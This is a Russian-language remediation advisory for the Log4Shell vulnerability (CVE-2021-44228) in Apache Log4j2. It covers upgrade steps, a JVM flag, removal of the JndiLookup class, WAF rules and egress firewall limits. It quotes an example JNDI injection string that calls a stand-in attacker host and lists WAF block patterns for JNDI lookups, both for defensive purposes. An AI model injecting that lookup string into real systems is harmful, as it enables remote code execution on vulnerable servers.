CVE-2021-44228

Apache Log4j2

ВЫСОКАЯ ВЕРОЯТНОСТЬ

Дата обнаружения

2021-12-10

Официальное описание

Apache Log4j2 contains a vulnerability where JNDI features do not protect against attacker-controlled JNDI-related endpoints, allowing for remote code execution.

🛡️
Технический анализ и план устранения

Суть уязвимости

Уязвимость (Log4Shell) позволяет злоумышленнику выполнить произвольный код на сервере, если приложение логирует внешние данные (например, заголовки HTTP-запросов) с использованием уязвимой версии Log4j2. Атакующий может внедрить специальную строку (например, ${jndi:ldap://attacker.com/exploit}), которая заставит Log4j2 выполнить запрос к контролируемому им серверу и загрузить/выполнить вредоносный код.

Как исправить

Основной метод — обновление Log4j2 до безопасной версии.

  1. Для Apache Log4j2:

  2. Если Log4j2 используется как зависимость в Java-приложении (Maven/Gradle):

    • Обновите версию в файле конфигурации (pom.xml или build.gradle).
    • Пример для Maven (pom.xml): xml <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.17.1</version> </dependency>
    • Пересоберите и перезапустите приложение.
  3. Для дистрибутивов Linux (если пакет предоставляется репозиторием):

    • Используйте менеджер пакетов для обновления. Внимание: версии в репозиториях часто отстают, проверяйте актуальность.
    • Пример для Debian/Ubuntu: bash sudo apt update sudo apt install --only-upgrade liblog4j2-java
    • Пример для RHEL/CentOS/Rocky Linux/AlmaLinux 8+: bash sudo dnf update log4j2

Временное решение

Если немедленное обновление невозможно, примените одно из следующих решений:

  1. Установите системное свойство Java для всех уязвимых приложений. Это самый надежный временный метод.

    • Добавьте следующий аргумент в командную строку запуска Java (в JAVA_OPTS или CATALINA_OPTS для Tomcat): bash -Dlog4j2.formatMsgNoLookups=true
    • Для Spring Boot (запуск через jar): bash java -Dlog4j2.formatMsgNoLookups=true -jar yourapplication.jar
  2. Удалите уязвимый класс JndiLookup из файла log4j-core-*.jar (замените * на вашу версию): bash zip -q -d /путь/к/log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class Перезапустите приложение после выполнения команды.

  3. Настройте правила в WAF (Web Application Firewall):

    • Блокируйте HTTP-запросы, содержащие строки jndi:, ${, }, ldap://, rmi://, dns://.
  4. Ограничьте исходящие соединения с серверов приложений в брандмауэре. Заблокируйте исходящие подключения по протоколам LDAP, RMI, DNS (порты 389, 636, 1099, 1389, 53) ко всем адресам, кроме доверенных внутренних серверов. Это предотвратит успешную эксплуатацию, но не саму попытку атаки.